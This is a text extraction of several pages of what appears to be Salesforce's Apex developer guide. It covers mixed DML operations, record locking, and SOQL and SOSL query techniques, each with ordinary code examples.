  • 144. Working with Data in Apex ◊ ◊ ◊ ◊ More About DML ForecastEnabled IsPortalEnabled Username ProfileId UserRole UserTerritory Territory Custom settings in Apex code saved using Salesforce.com API version 17.0 and earlier. • • • • If you are using a Visualforce page with a custom controller, you can only perform DML operations on a single type of sObject within a single request or action. However, you can perform DML operations on different types of sObjects in subsequent requests, for example, you can create an account with a save button, then create a user with a submit button. You can perform DML operations on more than one type of sObject in a single class using the following process: 1. Create a method that performs a DML operation on one type of sObject. 2. Create a second method that uses the future annotation to manipulate a second sObject type. This process is demonstrated in the example in the next section. Example: Using a Future Method to Perform Mixed DML Operations This example shows how to perform mixed DML operations by using a future method to perform a DML operation on the User object. public class MixedDMLFuture { public static void useFutureMethod() { // First DML operation Account a = new Account(Name='Acme'); insert a; // This next operation (insert a user with a role) // can't be mixed with the previous insert unless // it is within a future method. // Call future method to insert a user with a role. Util.insertUserWithRole( 'mruiz@awcomputing.com', 'mruiz', 'mruiz@awcomputing.com', 'Ruiz'); } } public class Util { @future public static void insertUserWithRole( String uname, String al, String em, String lname) { Profile p = [SELECT Id FROM Profile WHERE Name='Standard User']; UserRole r = [SELECT Id FROM UserRole WHERE Name='COO']; // Create new user with a non-null user role ID User u = new User(alias = al, email=em, emailencodingkey='UTF-8', lastname=lname, languagelocalekey='en_US', localesidkey='en_US', profileid = p.Id, userroleid = r.Id, timezonesidkey='America/Los_Angeles', username=uname); insert u; } } 120
  • 145. Working with Data in Apex More About DML Mixed DML Operations in Test Methods Test methods allow for performing mixed DML operations between the sObjects listed in sObjects That Cannot Be Used Together in DML Operations and other sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. This enables you, for example, to create a user with a role and other sObjects in the same test. Example: Mixed DML Operations in System.runAs Blocks This example shows how to enclose mixed DML operations within System.runAs blocks to avoid the mixed DML error. The System.runAs block runs in the current user’s context. It creates a test user with a role and a test account, which is a mixed DML operation. @isTest private class MixedDML { static testMethod void mixedDMLExample() { User u; Account a; User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()]; // Insert account as current user System.runAs (thisUser) { Profile p = [SELECT Id FROM Profile WHERE Name='Standard User']; UserRole r = [SELECT Id FROM UserRole WHERE Name='COO']; u = new User(alias = 'jsmith', email='jsmith@acme.com', emailencodingkey='UTF-8', lastname='Smith', languagelocalekey='en_US', localesidkey='en_US', profileid = p.Id, userroleid = r.Id, timezonesidkey='America/Los_Angeles', username='jsmith@acme.com'); insert u; a = new Account(name='Acme'); insert a; } } } Using Test.startTest and Test.stopTest to bypass the mixed DML error in a Test Method The mixed DML exception error is still sometimes returned even if you enclose the code block that performs the mixed DML operations within a System.runAs block. This can occur if the test method calls a future method that performs a DML operation that can’t be mixed with others, such as deleting a group. If you get the mixed DML exception in this case, enclose the code block that makes the future method call within Test.startTest and Test.stopTest statements. This example shows how enclosing the delete statement between Test.startTest and Test.stopTest statements prevents the mixed DML exception error in a test. Because the delete statement causes a mixed DML operation to be executed by a future method, it is enclosed within the Test.startTest and Test.stopTest statements. The delete statement causes a trigger to fire, deleting the group that was inserted earlier by the account insert trigger by calling the deleteGroup future method of the Util class. This is the test class that causes a mixed DML operation to occur. The account insertion and deletion fire the triggers. @isTest private class RunasTest { static testMethod void mixeddmltest() { // Create the account and group. Account ac = new Account(Name='TEST ACCOUNT'); // Group is created in the insert trigger. insert ac; // Set up user User u1 = [SELECT Id FROM User WHERE UserName='testadmin@acme.com']; System.RunAs(u1){ // Add startTest and stopTest to avoid mixed DML error Test.startTest(); 121
  • 146. Working with Data in Apex More About DML // Delete the account. // Group is deleted through future method call in trigger. delete ac; Test.stopTest(); } } } This is the account insert trigger that inserts a group. trigger Account_After_Insert_Trg on Account (after insert) { Group gr = new Group(Name='Test',Type='Regular'); insert gr; } This is the account delete trigger that calls a future method to delete a group. trigger Account_Before_Delete_Trg on Account (before delete) { Util.deleteGroup('Test'); } This is the future method that deletes a group. public with sharing class Util { @future public static void deleteGroup(String grNameSet) { List<Group> grList = [select Id, Name from Group where Name = :grNameSet]; delete grList[0]; } } sObjects That Don’t Support DML Operations Your organization contains standard objects provided by Salesforce and custom objects that you created. These objects can be accessed in Apex as instances of the sObject data type. You can query these objects and perform DML operations on them. However, some standard objects don’t support DML operations although you can still obtain them in queries. They include the following: • • • • • • • • • • • • • • • • AccountTerritoryAssignmentRule AccountTerritoryAssignmentRuleItem ApexComponent ApexPage BusinessHours BusinessProcess CategoryNode CurrencyType DatedConversionRate NetworkMember (allows update only) ProcessInstance Profile RecordType SelfServiceUser StaticResource UserAccountTeamMember 122
  • 147. Working with Data in Apex • • More About DML UserTerritory WebLink Note: All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception. You can’t create, update, or delete ProcessInstance in the SOAP API. Bulk DML Exception Handling Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call) are handled differently depending on where the original call came from: • • When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the all_or_none parameter of a database DML method was specified as true, the runtime engine follows the “all or nothing” rule: during a single operation, all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML statement. When errors occur because of a bulk DML call that originates from the SOAP API, the runtime engine attempts at least a partial save: 1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as validation rules or unique index violations is set aside. 2. If there were errors during the first attempt, the runtime engine makes a second attempt which includes only those records that did not generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates an error (perhaps because of race conditions) it is also set aside. 3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt which includes only those records that did not generate errors during the first and second attempts. If any record generates an error, the entire operation fails with the error message, “Too many batch retries in the presence of Apex triggers and partial failures.” Note: During the second and third attempts, governor limits are reset to their original state before the first attempt. See Understanding Execution Governors and Limits on page 236. Things You Should Know About Data in Apex Non-Null Required Fields Values and Null Fields When inserting new records or updating required fields on existing records, you must supply non-null values for all required fields. Unlike the SOAP API, Apex allows you to change field values to null without updating the fieldsToNull array on the sObject record. The API requires an update to this array due to the inconsistent handling of null values by many SOAP providers. Because Apex runs solely on the Force.com platform, this workaround is unnecessary. DML Not Supported with Some sObjects DML operations are not supported with certain sObjects. See sObjects That Don’t Support DML Operations. String Field Truncation and API Version Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. sObject Properties to Enable DML Operations To be able to insert, update, delete, or undelete an sObject record, the sObject must have the corresponding property (createable, updateable, deletable, or undeletable respectively) set to true. 123
  • 148. Working with Data in Apex Locking Records ID Values The insert statement automatically sets the ID value of all new sObject records. Inserting a record that already has an ID—and therefore already exists in your organization's data—produces an error. See Lists for more information. The insert and update statements check each batch of records for duplicate ID values. If there are duplicates, the first five are processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following: Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id more than once in this API call: number_of_attempts. The ID of an updated sObject record cannot be modified in an update statement, but related record IDs can. Fields With Unique Constraints For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example, inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have unique names. System Fields Automatically Set When inserting new records, system fields such as CreatedDate, CreatedById, and SystemModstamp are automatically updated. You cannot explicitly specify these values in your Apex. Similarly, when updating records, system fields such as LastModifiedDate, LastModifiedById, and SystemModstamp are automatically updated. Maximum Number of Records Processed by DML Statement You can pass a maximum of 10,000 sObject records to a single insert, update, delete, and undelete method. Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these operations is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than 10,000 records and all of them are being updated, you receive an error. (See Understanding Execution Governors and Limits on page 236) Upsert and Foreign Keys You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types in the Object Reference for Salesforce and Force.com. Locking Records Locking Statements Apex allows you to lock sObject records while they’re being updated in order to prevent race conditions and other thread safety problems. While an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface. The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be changed by another client during the lock period. The lock gets released when the transaction completes. To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example, the following statement, in addition to querying for two accounts, also locks the accounts that are returned: Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE]; Note: You can’t use the ORDER BY keywords in any SOQL query that uses locking. 124
  • 149. Working with Data in Apex SOQL and SOSL Queries Locking Considerations • • • While the records are locked by a client, the locking client can modify their field values in the database in the same transaction. Other clients have to wait until the transaction completes and the records are no longer locked before being able to update the same records. Other clients can still query the same records while they’re locked. If you attempt to lock a record currently locked by another client, you will get a QueryException. Similarly, if you attempt to update a record currently locked by another client, you will get a DmlException. If a client attempts to modify a locked record, the update operation might succeed if the lock gets released within a short amount of time after the update call was made. In this case, it is possible that the updates will overwrite those made by the locking client if the second client obtained an old copy of the record. To prevent this from happening, the second client must lock the record first. The locking process returns a fresh copy of the record from the database through the SELECT statement. The second client can use this copy to make new updates. Warning: Use care when setting locks in your Apex code. See Avoiding Deadlocks. Locking in a SOQL For Loop The FOR UPDATE keywords can also be used within SOQL for loops. For example: for (Account[] accts : [SELECT Id FROM Account FOR UPDATE]) { // Your code } As discussed in SOQL For Loops, the example above corresponds internally to calls to the query() and queryMore() methods in the SOAP API. Note that there is no commit statement. If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the database are rolled back. Avoiding Deadlocks Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or rows. To avoid such deadlocks, the Apex runtime engine: 1. First locks sObject parent records, then children. 2. Locks sObject records in order of ID when multiple records of the same type are being edited. As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock avoidance techniques by accessing tables and rows in the same order from all locations in an application. SOQL and SOSL Queries You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex by surrounding the statement in square brackets. SOQL Statements SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries. For example, you could retrieve a list of accounts that are named Acme: List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme']; 125
  • 150. Working with Data in Apex SOQL and SOSL Queries From this list, you can access individual elements: if (!aa.isEmpty()) { // Execute commands } You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the first account with the number of employees greater than 10: Contact c = new Contact(Account = [SELECT Name FROM Account WHERE NumberOfEmployees > 10 LIMIT 1]); c.FirstName = 'James'; c.LastName = 'Yoyce'; Note that the newly created object contains null values for its fields, which will need to be set. The count method can be used to return the number of rows returned by a query. The following example returns the total number of contacts with the last name of Weissman: Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman']; You can also operate on the results using standard arithmetic: Integer j = 5 * [SELECT COUNT() FROM Account]; For a full description of SOQL query syntax, see the Salesforce SOQL and SOSL Reference Guide. SOSL Statements SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query does not return any records for a specified sObject type, the search results include an empty list for that sObject. For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map: List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead]; Note: The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in the SOAP API: • In Apex, the value of the FIND clause is demarcated with single quotes. For example: FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead • In the Force.com API, the value of the FIND clause is demarcated with braces. For example: FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead From searchList, you can create arrays for each object returned: Account [] accounts = ((List<Account>)searchList[0]); Contact [] contacts = ((List<Contact>)searchList[1]); Opportunity [] opportunities = ((List<Opportunity>)searchList[2]); Lead [] leads = ((List<Lead>)searchList[3]); 126
  • 151. Working with Data in Apex Working with SOQL and SOSL Query Results For a full description of SOSL query syntax, see the Salesforce SOQL and SOSL Reference Guide. Working with SOQL and SOSL Query Results SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The following code example causes a runtime error: insert new Account(Name = 'Singha'); Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1]; // Note that name is not selected String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name; The following is the same code example rewritten so it does not produce a runtime error. Note that Name has been added as part of the select statement, after Id. insert new Account(Name = 'Singha'); Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1]; // Note that name is now selected String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name; Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses the first account record in the list, and then dereferences the record's AnnualRevenue field: Double rev = [SELECT AnnualRevenue FROM Account WHERE Name = 'Acme'][0].AnnualRevenue; // When only one result is returned in a SOQL query, it is not necessary // to include the list's index. Double rev2 = [SELECT AnnualRevenue FROM Account WHERE Name = 'Acme' LIMIT 1].AnnualRevenue; The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns an Integer as the result of a COUNT operation: Integer i = [SELECT COUNT() FROM Account]; Fields in records returned by SOSL queries must always be dereferenced. Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex. Accessing sObject Fields Through Relationships sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field of type Account that points to the associated sObject record itself. The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note below). 127
  • 152. Working with Data in Apex Accessing sObject Fields Through Relationships For example, the following Apex code shows how an account and a contact can be associated with one another, and then how the contact can be used to modify a field on the account: Note: In order to provide the most complete example, this code uses some elements that are described later in this guide: • For information on insert and update, see Insert Statement on page 390 and Update Statement on page 390. Account a = new Account(Name = 'Acme'); insert a; // Inserting the record automatically assigns a // value to its ID field Contact c = new Contact(LastName = 'Weissman'); c.AccountId = a.Id; // The new contact now points at the new account insert c; // A SOQL query accesses data for the inserted contact, // including a populated c.account field c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id]; // Now fields in both records can be changed through the contact c.Account.Name = 'salesforce.com'; c.LastName = 'Roth'; // To update the database, the two types of records must be // updated separately update c; // This only changes the contact's last name update c.Account; // This updates the account name Note: The expression c.Account.Name, as well as any other expression that traverses a relationship, displays slightly different characteristics when it is read as a value than when it is modified: • • When being read as a value, if c.Account is null, then c.Account.Name evaluates to null, but does not yield a NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having to check for null values. When being modified, if c.Account is null, then c.Account.Name does yield a NullPointerException. In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example: Account refAcct = new Account(externalId__c = '12345'); Contact c = new Contact(Account = refAcct, LastName = 'Kay'); insert c; This inserts a new contact with the AccountId equal to the account with the external_id equal to ‘12345’. If there is no such account, the insert fails. Tip: The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on execution limits, see Understanding Execution Governors and Limits on page 236. Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345']; Contact c = new Contact(Account = refAcct.Id); 128
  • 153. Working with Data in Apex Understanding Foreign Key and Parent-Child Relationship SOQL Queries insert c; Understanding Foreign Key and Parent-Child Relationship SOQL Queries The SELECT statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign key joins are included, the resulting sObjects can be referenced using normal field notation. For example: System.debug([SELECT Account.Name FROM Contact WHERE FirstName = 'Caroline'].Account.Name); Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example: for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts) FROM Account WHERE Name = 'Acme']) { Contact[] cons = a.Contacts; } //The following example also works because we limit to only 1 contact for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1) FROM Account WHERE Name = 'testAgg']) { Contact c = a.Contacts; } Working with SOQL Aggregate Functions Aggregate functions in SOQL, such as SUM() and MAX(), allow you to roll up and summarize your data in a query. For more information on aggregate functions, see ”Aggregate Functions” in the Salesforce SOQL and SOSL Reference Guide. You can use aggregate functions without using a GROUP BY clause. For example, you could use the AVG() aggregate function to find the average Amount for all your opportunities. AggregateResult[] groupedResults = [SELECT AVG(Amount)aver FROM Opportunity]; Object avgAmount = groupedResults[0].get('aver'); Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult is a read-only sObject and is only used for query results. Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For example, you could find the average Amount for all your opportunities by campaign. AggregateResult[] groupedResults = [SELECT CampaignId, AVG(Amount) FROM Opportunity GROUP BY CampaignId]; for (AggregateResult ar : groupedResults) { System.debug('Campaign ID' + ar.get('CampaignId')); System.debug('Average amount' + ar.get('expr0')); } Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri, where i denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every 129
  • 154. Working with Data in Apex Working with Very Large SOQL Queries aggregated field with no explicit alias. For more information, see ”Using Aliases with GROUP BY” in the Salesforce SOQL and SOSL Reference Guide. Note: Queries that include aggregate functions are subject to the same governor limits as other SOQL queries for the total number of records returned. This limit includes any records included in the aggregation, not just the number of rows returned by the query. If you encounter this limit, you should add a condition to the WHERE clause to reduce the amount of records processed by the query. Working with Very Large SOQL Queries Your SOQL query may return so many sObjects that the limit on heap size is exceeded and an error occurs. To resolve, use a SOQL query for loop instead, since it can process multiple batches of records through the use of internal calls to query and queryMore. For example, if the results are too large, the syntax below causes a runtime exception: Account[] accts = [SELECT Id FROM Account]; Instead, use a SOQL query for loop as in one of the following examples: // Use this format if you are not executing DML statements // within the for loop for (Account a : [SELECT Id, Name FROM Account WHERE Name LIKE 'Acme%']) { // Your code without DML statements here } // Use this format for efficiency if you are executing DML statements // within the for loop for (List<Account> accts : [SELECT Id, Name FROM Account WHERE Name LIKE 'Acme%']) { // Your code here update accts; } The following example demonstrates a SOQL query for loop used to mass update records. Suppose you want to change the last name of a contact across all records for contacts whose first and last names match a specified criteria: public void massUpdate() { for (List<Contact> contacts: [SELECT FirstName, LastName FROM Contact]) { for(Contact c : contacts) { if (c.FirstName == 'Barbara' && c.LastName == 'Gordon') { c.LastName = 'Wayne'; } } update contacts; } } Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which minimizes the risk of hitting governor limits. For more information, see SOQL For Loops on page 136. 130
  • 155. Working with Data in Apex Working with Very Large SOQL Queries More Efficient SOQL Queries For best performance, SOQL queries must be selective, particularly for queries inside of triggers. To avoid long execution times, non-selective SOQL queries may be terminated by the system. Developers will receive an error message when a non-selective query in a trigger executes against an object that contains more than 100,000 records. To avoid this error, ensure that the query is selective. Selective SOQL Query Criteria • • A query is selective when one of the query filters is on an indexed field and the query filter reduces the resulting number of rows below a system-defined threshold. The performance of the SOQL query improves when two or more filters used in the WHERE clause meet the mentioned conditions. The selectivity threshold is 10% of the records for the first million records and less than 5% of the records after the first million records, up to a maximum of 333,000 records. In some circumstances, for example with a query filter that is an indexed standard field, the threshold may be higher. Also, the selectivity threshold is subject to change. Custom Index Considerations for Selective SOQL Queries • • • • • The following fields are indexed by default: primary keys (Id, Name and Owner fields), foreign keys (lookup or master-detail relationship fields), audit dates (such as LastModifiedDate), and custom fields marked as External ID or Unique. Fields that aren’t indexed by default might later be automatically indexed if the Salesforce optimizer recognizes that an index will improve performance for frequently run queries. Salesforce.com Support can add custom indexes on request for customers. A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency organization, long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) Note that new data types, typically complex ones, may be added to Salesforce and fields of these types may not allow custom indexing. Typically, a custom index won't be used in these cases: ◊ The value(s) queried for exceeds the system-defined threshold mentioned above ◊ The filter operator is a negative operator such as NOT EQUAL TO (or !=), NOT CONTAINS, and NOT STARTS WITH ◊ The CONTAINS operator is used in the filter and the number of rows to be scanned exceeds 333,000. This is because the CONTAINS operator requires a full scan of the index. Note that this threshold is subject to change. ◊ When comparing with an empty value (Name != '') However, there are other complex scenarios in which custom indexes won't be used. Contact your salesforce.com representative if your scenario isn't covered by these cases or if you need further assistance with non-selective queries. Examples of Selective SOQL Queries To better understand whether a query on a large object is selective or not, let's analyze some queries. For these queries, we will assume there are more than 100,000 records (including soft-deleted records, that is, deleted records that are still in the Recycle Bin) for the Account sObject. Query 1: SELECT Id FROM Account WHERE Id IN (<list of account IDs>) The WHERE clause is on an indexed field (Id). If SELECT COUNT() FROM Account WHERE Id IN (<list of account IDs>) returns fewer records than the selectivity threshold, the index on Id is used. This will typically be the case since the list of IDs only contains a small amount of records. Query 2: SELECT Id FROM Account WHERE Name != '' 131
  • 156. Working with Data in Apex Using SOQL Queries That Return One Record Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making the query non-selective. Query 3: SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA' Here we have to see if each filter, when considered individually, is selective. As we saw in the previous example the first filter isn't selective. So let's focus on the second one. If the count of records returned by SELECT COUNT() FROM Account WHERE CustomField__c = 'ValueA' is lower than the selectivity threshold, and CustomField__c is indexed, the query is selective. Using SOQL Queries That Return One Record SOQL queries can be used to assign a single sObject value when the result list contains only one element. When the L-value of an expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the L-value. A runtime exception results if zero sObjects or more than one sObject is found in the list. For example: List<Account> accts = [SELECT Id FROM Account]; // These lines of code are only valid if one row is returned from // the query. Notice that the second line dereferences the field from the // query without assigning it to an intermediary sObject variable. Account acct = [SELECT Id FROM Account]; String name = [SELECT Name FROM Account].Name; Improving Performance by Not Searching on Null Values In your SOQL and SOSL queries, avoid searching records that contain null values. Filter out null values first to improve performance. In the following example, any records where the treadID value is null are filtered out of the returned values. Public class TagWS { /* getThreadTags * * a quick method to pull tags not in the existing list * */ public static webservice List<String> getThreadTags(String threadId, List<String> tags) { system.debug(LoggingLevel.Debug,tags); List<String> retVals = new List<String>(); Set<String> tagSet = new Set<String>(); Set<String> origTagSet = new Set<String>(); origTagSet.addAll(tags); // Note WHERE clause verifies that threadId is not null for(CSO_CaseThread_Tag__c t : [SELECT Name FROM CSO_CaseThread_Tag__c WHERE Thread__c = :threadId AND WHERE threadID != null]) { tagSet.add(t.Name); } for(String x : origTagSet) { // return a minus version of it so the UI knows to clear it if(!tagSet.contains(x)) retVals.add('-' + x); 132
  • 157. Working with Data in Apex Working with Polymorphic Relationships in SOQL Queries } for(String x : tagSet) { // return a plus version so the UI knows it's new if(!origTagSet.contains(x)) retvals.add('+' + x); } return retVals; } Working with Polymorphic Relationships in SOQL Queries A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For example, the What relationship field of an Event could be an Account, or a Campaign, or an Opportunity. The following describes how to use SOQL queries with polymorphic relationships in Apex. If you want more general information on polymorphic relationships, see Understanding Polymorphic Keys and Relationships in the Force.com SOQL and SOSL Reference. You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced by the polymorphic field. One approach is to filter your results using the Type qualifier. This example queries Events that are related to an Account or Opportunity via the What field. List<Event> = [SELECT Description FROM Event WHERE What.Type IN ('Account', 'Opportunity')]; Another approach would be to use the TYPEOF clause in the SOQL SELECT statement. This example also queries Events that are related to an Account or Opportunity via the What field. List<Event> = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN Amount END FROM Event]; Note: TYPEOF is currently available as a Developer Preview as part of the SOQL Polymorphism feature. For more information on enabling TYPEOF for your organization, contact salesforce.com. These queries will return a list of sObjects where the relationship field references the desired object types. If you need to access the referenced object in a polymorphic relationship, you can use the instanceof keyword to determine the object type. The following example uses instanceof to determine whether an Account or Opportunity is related to an Event. Event myEvent = eventFromQuery; if (myEvent.What instanceof Account) { // myEvent.What references an Account, so process accordingly } else if (myEvent.What instanceof Opportunity) { // myEvent.What references an Opportunity, so process accordingly } Note that you must assign the referenced sObject that the query returns to a variable of the appropriate type before you can pass it to another method. The following example queries for User or Group owners of Merchandise__c custom objects using a SOQL query with a TYPEOF clause, uses instanceof to determine the owner type, and then assigns the owner objects to User or Group type variables before passing them to utility methods. public class PolymorphismExampleClass { // Utility method for a User public static void processUser(User theUser) { System.debug('Processed User'); } 133
  • 158. Working with Data in Apex Using Apex Variables in SOQL and SOSL Queries // Utility method for a Group public static void processGroup(Group theGroup) { System.debug('Processed Group'); } public static void processOwnersOfMerchandise() { // Select records based on the Owner polymorphic relationship field List<Merchandise__c> merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName WHEN Group THEN Email END FROM Merchandise__c]; // We now have a list of Merchandise__c records owned by either a User or Group for (Merchandise__c merch: merchandiseList) { // We can use instanceof to check the polymorphic relationship type // Note that we have to assign the polymorphic reference to the appropriate // sObject type before passing to a method if (merch.Owner instanceof User) { User userOwner = merch.Owner; processUser(userOwner); } else if (merch.Owner instanceof Group) { Group groupOwner = merch.Owner; processGroup(groupOwner); } } } } Using Apex Variables in SOQL and SOSL Queries SOQL and SOSL statements in Apex can reference Apex code variables and expressions if they are preceded by a colon (:). This use of a local code variable within a SOQL or SOSL statement is called a bind. The Apex parser first evaluates the local variable in code context before executing the SOQL or SOSL statement. Bind expressions can be used as: • • • • • • The search string in FIND clauses. The filter literals in WHERE clauses. The value of the IN or NOT IN operator in WHERE clauses, allowing filtering on a dynamic set of values. Note that this is of particular use with a list of IDs or Strings, though it works with lists of any type. The division names in WITH DIVISION clauses. The numeric value in LIMIT clauses. The numeric value in OFFSET clauses. Bind expressions can't be used with other clauses, such as INCLUDES. For example: Account A = new Account(Name='xxx'); insert A; Account B; // A simple bind B = [SELECT Id FROM Account WHERE Id = :A.Id]; // A bind with arithmetic B = [SELECT Id FROM Account WHERE Name = :('x' + 'xx')]; String s = 'XXX'; // A bind with expressions B = [SELECT Id FROM Account WHERE Name = :'XXXX'.substring(0,3)]; // A bind with an expression that is itself a query result B = [SELECT Id FROM Account 134
  • 159. Working with Data in Apex Querying All Records with a SOQL Statement WHERE Name = :[SELECT Name FROM Account WHERE Id = :A.Id].Name]; Contact C = new Contact(LastName='xxx', AccountId=A.Id); insert new Contact[]{C, new Contact(LastName='yyy', accountId=A.id)}; // Binds in both the parent and aggregate queries B = [SELECT Id, (SELECT Id FROM Contacts WHERE Id = :C.Id) FROM Account WHERE Id = :A.Id]; // One contact returned Contact D = B.Contacts; // A limit bind Integer i = 1; B = [SELECT Id FROM Account LIMIT :i]; // An OFFSET bind Integer offsetVal = 10; List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal]; // An IN-bind with an Id list. Note that a list of sObjects // can also be used--the Ids of the objects are used for // the bind Contact[] cc = [SELECT Id FROM Contact LIMIT 2]; Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc]; // An IN-bind with a String list String[] ss = new String[]{'a', 'b'}; Account[] aa = [SELECT Id FROM Account WHERE AccountNumber IN :ss]; // A SOSL query with binds in all possible clauses String myString1 String myString2 Integer myInt3 = String myString4 Integer myInt5 = = 'aaa'; = 'bbb'; 11; = 'ccc'; 22; List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS RETURNING Account (Id, Name WHERE Name LIKE :myString2 LIMIT :myInt3), Contact, Opportunity, Lead WITH DIVISION =:myString4 LIMIT :myInt5]; Querying All Records with a SOQL Statement SOQL statements can use the ALL ROWS keywords to query all records in an organization, including deleted records and archived activities. For example: System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]); You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with the FOR UPDATE keywords. 135
  • 160. Working with Data in Apex SOQL For Loops SOQL For Loops SOQL for loops iterate over all of the sObject records returned by a SOQL query. The syntax of a SOQL for loop is either: for (variable : [soql_query]) { code_block } or for (variable_list : [soql_query]) { code_block } Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query. As in standard SOQL queries, the [soql_query] statement can refer to code expressions in their WHERE clauses using the : syntax. For example: String s = 'Acme'; for (Account a : [SELECT Id, Name from Account where Name LIKE :(s+'%')]) { // Your code } The following example combines creating a list from a SOQL query, with the DML update method. // Create a list of account records from a SOQL query List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel']; // Loop through the list and update the Name field for(Account a : accs){ a.Name = 'Oracle'; } // Update the database update accs; SOQL For Loops Versus Standard SOQL Queries SOQL for loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records, SOQL for loops retrieve all sObjects, using efficient chunking with calls to the query and queryMore methods of the SOAP API. Developers should always use a SOQL for loop to process query results that return many records, to avoid the limit on heap size. Note that queries including an aggregate function don't support queryMore. A runtime exception occurs if you use a query containing an aggregate function that returns more than 2000 rows in a for loop. SOQL For Loop Formats SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an sObject list: 136
